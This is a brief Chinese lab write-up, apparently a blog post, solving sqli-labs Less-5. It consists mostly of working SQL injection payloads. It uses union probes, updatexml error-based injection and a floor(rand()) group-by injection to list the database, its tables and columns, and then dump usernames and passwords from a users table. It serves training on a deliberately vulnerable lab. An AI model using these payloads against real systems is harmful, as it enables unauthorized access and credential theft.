sqli less-05

先使用联合查询看看?id=1' union select 1,2,3--+

因为无回显,所以尝试updatexml报错注入

?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+

得到数据库名字为security

爆列表:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

我们看到了users,接下来就是查询users的列名:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

接下来就是查询username和password ?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

由于每次只能显示31个字符,我们每次需要加31

?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),32)),0x5e),1) --+

也可以使用concat函数

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1里的x可以得知x用户的用户名和密码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值